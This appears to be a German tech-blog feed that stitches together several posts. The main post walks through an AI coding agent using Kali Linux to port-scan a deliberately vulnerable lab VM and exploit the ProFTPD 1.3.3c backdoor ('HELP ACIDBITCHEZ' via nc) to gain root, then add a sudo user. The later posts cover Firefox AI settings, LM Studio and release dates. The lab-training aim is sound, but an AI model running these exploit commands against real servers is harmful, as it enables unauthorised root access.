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Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …
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Hier haben wir wieder ein „Henne und Ei“-Problem.Zwar sind die Cookies richtig kopiert worden und auch die Dateien sind zugänglich, sie lassen sich ja via Browser aufrufen, aber leider ist ytdlp veraltet. Bis ein neues Image für Tube Archivist erscheint, muss man sich mit der Variable TA_AUTO_UPDATE_YTDLP helfen. Mit dieser Variable in der Compose-Datei und ... Weiterlesen
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Firefox erhält mit Version 148 am 24. Februar einen Kill-Switch für KI. Mit diesem Schalter lassen sich derzeit angebotene und künftige KI-Funktionen komplett abschalten.
Bereits das kommende Feature-Update von Firefox wird eine eigene Einstellungs-Seite für KI-Funktionen erhalten. Über diese lassen sich zentral an einem Ort alle KI-Features einzeln oder auch generell – und damit einschließlich zukünftiger Funktionen – abschalten.
Künstliche Intelligenz (KI) ist ein Thema, welches mittlerweile omnipräsent ist. Die einen lieben es, andere möchten am liebsten gar nichts damit zu tun haben. Auch Firefox bietet bereits ein paar Funktionen mit KI-Unterstützung an, weitere werden in der Zukunft folgen. Dabei waren sämtliche KI-Funktionen in Firefox vom ersten Tag an optional. Außerdem setzt Mozilla für eine verbesserte Privatsphäre bevorzugt auf lokale KI anstelle von Cloud-basierten KI-Lösungen.
Um die Verwaltung von KI-Funktionen noch einfacher für die Nutzer von Firefox zu machen, erweitert Mozilla mit Firefox 148 die Einstellungen um einen zusätzlichen Bereich mit der Bezeichnung „KI-Einstellungen”. Dieser neue Bereich bietet einen Ort, um alle KI-Funktionen zentral zu steuern. Dabei kann der Nutzer zwischen drei Optionen wählen: „Aktiviert” bedeutet, das jeweilige Feature ist aktiv. „Verfügbar” bedeutet, dass das Feature noch nicht aktiv ist, dem Nutzer aber angeboten wird und von diesem aktiviert werden kann. Bei „Blockiert” wird die Funktion dem Nutzer gar nicht erst angeboten und entsprechende Optionen ausgeblendet. Wurden bereits lokale KI-Modelle heruntergeladen, werden diese bei Auswahl vom Gerät gelöscht.
Firefox 148 bietet Einstellungen für fünf KI-basierte Funktionen an: Übersetzungen von Websites in andere Sprachen, die Generierung von Alternativtexten beim Hinzufügen von Bildern in PDF-Dateien, um deren Barrierefreiheit zu verbessern, Vorschläge für andere Tabs sowie Beschriftungen für Tab-Gruppen, KI-Zusammenfassungen für die Link-Vorschau sowie diverse Chatbots in der Sidebar.
Drei dieser fünf KI-Funktionen stehen derzeit nur für Nutzer zur Verfügung, welche Firefox in englischer Sprache nutzen. Entsprechend sehen Nutzer anderer Sprachen weniger Optionen in Firefox 148, sodass keine irrelevanten Funktionen dargestellt werden. Zu jeder KI-Funktion gibt es einen kurzen Erklärungstext sowie einen Link mit detaillierten Informationen.
Darüber hinaus bietet Firefox 148 auch noch einen globalen Schalter zum Ein- und Ausschalten von KI-Funktionen an. Medien hatten in diesem Zusammenhang in den letzten Wochen häufig von einem sogenannten „Kill Switch” gesprochen, weswegen diese Wortwahl hier aufgegriffen werden soll.
Hierüber können alle KI-Funktionen mit einem Mal deaktiviert werden – und damit auch sämtliche KI-Funktionen, die es noch gar nicht gibt und erst irgendwann in der Zukunft dazu kommen werden. Wird die globale Einstellung genutzt, wird darüber hinaus auch die Erweiterungs-Schnittstelle für KI-Funktionen abgeschaltet.
Firefox 148 wird nach aktueller Planung am 24. Februar 2026 erscheinen. Nutzer einer Beta-Version von Firefox 148 können bereits jetzt die Option browser.preferences.aiControls in about:config per Doppelklick auf true schalten, um die neuen KI-Einstellungen zu aktivieren.
Tuxedo Computers erweitert seine InfinityBook-Pro-Reihe um das neue InfinityBook Max 15 und bringt damit ein dünnes, leichtes Business-Notebook mit dedizierter Mittelklasse-Grafik auf den Markt.
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VirtualBox legt mit Version 7.2.6 ein Update vor, das viele Schwachstellen beseitigt und den Alltag mit virtuellen Maschinen spürbar ruhiger macht. Die Entwickler konzentrieren sich klar auf Zuverlässigkeit und räumen zahlreiche Fehler aus, die Hosts und Gäste gleichermaßen betreffen. Der Virtual Machine Manager arbeitet nun stabiler und reagiert besser auf ungewöhnliche Startsituationen. Frühere Abstürze beim […]
Der Enterprise Policy Generator richtet sich an Administratoren von Unternehmen und Organisationen, welche Firefox konfigurieren wollen. Mit dem Enterprise Policy Generator 7.3 ist nun ein Update erschienen.
Die Enterprise Policy Engine erlaubt es Administratoren, Firefox über eine Konfigurationsdatei zu konfigurieren. Der Vorteil dieser Konfigurationsdatei gegenüber Group Policy Objects (GPO) ist, dass diese Methode nicht nur auf Windows, sondern plattformübergreifend auf Windows, Apple macOS sowie Linux funktioniert.
Der Enterprise Policy Generator hilft bei der Zusammenstellung der sogenannten Enterprise Policies, sodass kein tiefergehendes Studium der Dokumentation und aller möglichen Optionen notwendig ist und sich Administratoren die gewünschten Enterprise Policies einfach zusammenklicken können.
Neuerungen vom Enterprise Policy Generator 7.3
Der Enterprise Policy Generator 7.3 bringt Unterstützung für die DisableRemoteImprovements-Richtlinie in Firefox 148 und höher, um Firefox daran zu hindern, Funktionen, Leistung und Stabilität zwischen den Updates zu verbessern. Dazu kommt die Unterstützung für die HarmfulAddon-Option in der EnableTrackingProtection-Richtlinie zur Blockierung schädlicher Add-ons in Firefox 147 und höher. Darüber hinaus gab es diverse kleinere Verbesserungen für bereits länger bestehende Richtlinien.
Abseits von Unternehmensrichtlinien wurde die Jahreszahl im Footer von 2025 auf 2026 geändert und eine nicht mehr notwendige Eigenschaft aus dem Erweiterungs-Manifest entfernt.
Der Enterprise Policy Generator 7.3 ist die letzte Version mit Unterstützung von Firefox ESR 128. Der Enterprise Policy Generator 8.0 wird Firefox 140 oder höher voraussetzen.
Entwicklung unterstützen
Wer die Entwicklung des Add-ons unterstützen möchte, kann dies tun, indem er der Welt vom Enterprise Policy Generator erzählt und die Erweiterung auf addons.mozilla.org bewertet. Auch würde ich mich sehr über eine kleine Spende freuen, welche es mir ermöglicht, weitere Zeit in die Entwicklung des Add-on zu investieren, um zusätzliche Features zu implementieren.
Wer sich dafür interessiert, Sprachmodelle lokal auszuführen, landen unweigerlich bei Ollama. Dieses Open-Source-Projekt macht es zum Kinderspiel, lokale Sprachmodelle herunterzuladen und auszuführen. Die macOS- und Windows-Version haben sogar eine Oberfläche, unter Linux müssen Sie sich mit dem Terminal-Betrieb oder der API begnügen.
Zuletzt machte Ollama allerdings mehr Ärger als Freude. Auf gleich zwei Rechnern mit AMD-CPU/GPU wollte Ollama pardout die GPU nicht nutzen. Auch die neue Umgebungsvariable OLLAMA_VULKAN=1 funktionierte nicht wie versprochen, sondern reduzierte die Geschwindigkeit noch weiter.
Kurz und gut, ich hatte die Nase voll, suchte nach Alternativen und landete bei LM Studio. Ich bin begeistert. Kurz zusammengefasst: LM Studio unterstützt meine Hardware perfekt und auf Anhieb (auch unter Linux), bietet eine Benutzeroberfläche mit schier unendlich viel Einstellmöglichkeiten (wieder: auch unter Linux) und viel mehr Funktionen als Ollama. Was gibt es auszusetzen? Das Programm richtet sich nur bedingt an LLM-Einsteiger, und sein Code untersteht keiner Open-Source-Lizenz. Das Programm darf zwar kostenlos genutzt werden (seit Mitte 2025 auch in Firmen), aber das kann sich in Zukunft ändern.
Installation unter Linux
Kostenlose Downloads für LM Studio finden Sie unter https://lmstudio.ai. Die Linux-Version wird als sogenanntes AppImage angeboten. Das ist ein spezielles Paketformat, das grundsätzlich eine direkte Ausführung der heruntergeladenen Datei ohne explizite Installation erlaubt. Das funktioniert leider nur im Zusammenspiel mit wenigen Linux-Distributionen auf Anhieb. Bei den meisten Distributionen müssen Sie die Datei nach dem Download explizit als »ausführbar« kennzeichnen. Je nach Distribution müssen Sie außerdem die FUSE-Bibliotheken installieren. (FUSE steht für Filesystem in Userspace und erlaubt die Nutzung von Dateisystem-Images ohne root-Rechte oder sudo.)
Nach dnf install fuse-libs und chmod +x können Sie LM Studio per Doppelklick im Dateimanager starten.
Erste Schritte
Nach dem ersten Start fordert LM Studio Sie auf, ein KI-Modell herunterzuladen. Es macht gleich einen geeigneten Vorschlag. In der Folge laden Sie dieses Modell und können dann in einem Chat-Bereich Prompts eingeben. Die Eingabe und die Darstellung der Ergebnisse sieht ganz ähnlich wie bei populären Weboberflächen aus (also ChatGPT, Claude etc.).
Nachdem Sie sich vergewissert haben, dass LM Studio prinzipiell funktioniert, ist es an der Zeit, die Oberfläche genauer zu erkunden. Grundsätzlich können Sie zwischen drei Erscheinungsformen wählen, die sich an unterschiedliche Benutzergruppen wenden: User, Power User und Developer.
In den letzteren beiden Modi präsentiert sich die Benutzeroberfläche in all ihren Optionen. Es gibt
vier prinzipielle Ansichten, die durch vier Icons in der linken Seitenleiste geöffnet werden:
Chats
Developer (Logging-Ausgaben, Server-Betrieb)
My Models (Verwaltung der heruntergeladenen Sprachmodelle)
Discover (Suche und Download weiterer Modelle).
GPU Offload und Kontextlänge einstelln
Sofern Sie mehrere Sprachmodelle heruntergeladen haben, wählen Sie das gewünschte Modell über ein Listenfeld oberhalb des Chatbereichs aus. Bevor der Ladevorgang beginnt, können Sie diverse Optionen einstellen (aktivieren Sie bei Bedarf Show advanced settings). Besonders wichtig sind die Parameter Context Length und GPU Offload.
Die Kontextlänge limitiert die Größe des Kontextspeichers. Bei vielen Modellen gilt hier ein viel zu niedriger Defaultwert von 4000 Token. Das spart Speicherplatz und erhöht die Geschwindigkeit des Modells. Für anspruchsvolle Coding-Aufgaben brauchen Sie aber einen viel größeren Kontext!
Der GPU Offload bestimmt, wie viele Ebenen (Layer) des Modells von der GPU verarbeitet werden sollen. Für die restlichen Ebenen ist die CPU zuständig, die diese Aufgabe aber wesentlich langsamer erledigt. Sofern die GPU über genug Speicher verfügt (VRAM oder Shared Memory), sollten Sie diesen Regler immer ganz nach rechts schieben! LM Studio ist nicht immer in der Lage, die Größe des Shared Memory korrekt abzuschätzen und wählt deswegen mitunter einen zu kleinen GPU Offload.
Grundeinstellungen beim Laden eines SprachmodellsÜberblick über die heruntergeladenen Sprachmodelle
Debugging und Server-Betrieb
In der Ansicht Developer können Sie Logging-Ausgaben lesen. LM Studio verwendet wie Ollama und die meisten anderen KI-Oberflächen das Programm llama.cpp zur Ausführung der lokalen Modelle. Allerdings gibt es von diesem Programm unterschiedliche Versionen für den CPU-Betrieb (langsam) sowie für diverse GPU-Bibliotheken.
In dieser Ansicht können Sie den in LM Studio integrierten REST-Server aktivieren. Damit können Sie z.B. mit eigenen Python-Programmen oder mit dem VS-Code-Plugin Continue Prompts an LM Studio senden und dessen Antwort verarbeiten. Standardmäßig kommt dabei der Port 1234 um Einsatz, wobei der Zugriff auf den lokalen Rechner limitiert ist. In den Server Settings können Sie davon abweichende Einstellungen vornehmen.
Logging-Ausgaben und Server-OptionenHinter den Kulissen greift LM Studio auf »llama.cpp« zurück
Praktische Erfahrungen am Framework Desktop
Auf meinem neuen Framework Desktop mit 128 GiB RAM habe ich nun diverse Modelle ausprobiert. Die folgende Tabelle zeigt die erzielte Output-Geschwindigkeit in Token/s. Beachten Sie, dass die Geschwindigkeit spürbar sinkt wenn viel Kontext im Spiel ist (größere Code-Dateien, längerer Chat-Verlauf).
Normalerweise gilt: je größer das Sprachmodell, desto besser die Qualität, aber desto kleiner die Geschwindigkeit. Ein neuer Ansatz durchbricht dieses Muster. Bei Mixture of Expert-Modellen (MoE-LLMs) gibt es Parameterblöcke für bestimmte Aufgaben. Bei der Berechnung der Ergebnis-Token entscheidet das Modell, welche »Experten« für den jeweiligen Denkschritt am besten geeignet sind, und berücksichtigt nur deren Parameter.
Ein populäres Beispiel ist das freie Modell GPT-OSS-120B. Es umfasst 117 Milliarden Parameter, die in 36 Ebenen (Layer) zu je 128 Experten organisiert sind. Bei der Berechnung jedes Output Tokens sind in jeder Ebene immer nur vier Experten aktiv. Laut der Modelldokumentation sind bei der Token Generation immer nur maximal 5,1 Milliarden Parameter aktiv. Das beschleunigt die Token Generation um mehr als das zwanzigfache:
Welches ist nun das beste Modell? Auf meinem Rechner habe ich mit dem gerade erwähnten Modell GPT-OSS-120B sehr gute Erfahrungen gemacht. Für Coding-Aufgaben funktionieren auch qwen3-next-80b-83b und glm-4.5-air gut, wobei letzteres für den praktischen Einsatz schon ziemlich langsam ist.
Mozilla hat Firefox 147.0.2 für Windows, macOS und Linux veröffentlicht und behebt damit mehrere Sicherheitslücken, diverse potenzielle Absturzursachen sowie mehrere Webkompatibilitätsprobleme, darunter eines, welches unerwartete WebAuthn-Anfragen verursachen konnte.
Websites konnten vom Safe Browsing-Schutz unter Umständen fälschlicherweise als schädlich erkannt werden.
Mehrere Probleme wurden auch in Zusammenhang mit der Unterstützung für die XDG Base Directory-Spezifikation unter Linux behoben.
Außerdem zeigten Zertifikats-Fehlerseiten in manchen Fällen den Port doppelt an.
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Dieser Artikel fasst die Veröffentlichungstermine für Firefox und Firefox ESR im Jahr 2026 übersichtlich zusammen.
Neue Major-Releases von Firefox erscheinen in der Regel alle vier Wochen. Auf diese Weise erreichen Neuerungen schneller den Endnutzer und man muss nicht viele Monate auf bereits implementierte Funktionen warten. Dies sind die Veröffentlichungstermine von Firefox für das Jahr 2026.
Das sind die Firefox Release-Termine 2026
Firefox 147, Firefox ESR 140.7, Firefox ESR 115.32 13. Januar 2026 (5 Wochen nach Firefox 146)
Firefox 148, Firefox ESR 140.8, Firefox ESR 115.33 24. Februar 2026 (6 Wochen nach Firefox 147)
Firefox 149, Firefox ESR 140.9 24. März 2026 (4 Wochen nach Firefox 148)
Firefox 150, Firefox ESR 140.10 21. April 2026 (4 Wochen nach Firefox 149)
Firefox 151, Firefox ESR 140.11 19. Mai 2026 (4 Wochen nach Firefox 150)
Firefox 152, Firefox ESR 140.12 16. Juni 2026 (4 Wochen nach Firefox 151)
Firefox 153, Firefox ESR 153.0, Firefox ESR 140.13 21. Juli 2026 (5 Wochen nach Firefox 152)
Firefox 154, Firefox ESR 153.1, Firefox ESR 140.14 18. August 2026 (4 Wochen nach Firefox 153)
Firefox 155, Firefox ESR 153.2, Firefox ESR 140.15 15. September 2026 (4 Wochen nach Firefox 154)
Firefox 156, Firefox ESR 153.3 13. Oktober 2026 (4 Wochen nach Firefox 155)
Firefox 157, Firefox ESR 153.4 10. November 2026 (4 Wochen nach Firefox 156)
Firefox 158, Firefox ESR 153.5 8. Dezember 2026 (4 Wochen nach Firefox 157)
Firefox 159, Firefox ESR 153.6 19. Januar 2027 (6 Wochen nach Firefox 158)
Was passiert, wenn Linus Torvalds ausfällt und niemand seinen Posten als Entwicklungschef einnehmen möchte? Dann soll ähnlich zur Papstwahl ein Konkalve einen Ersatz bestimmen.
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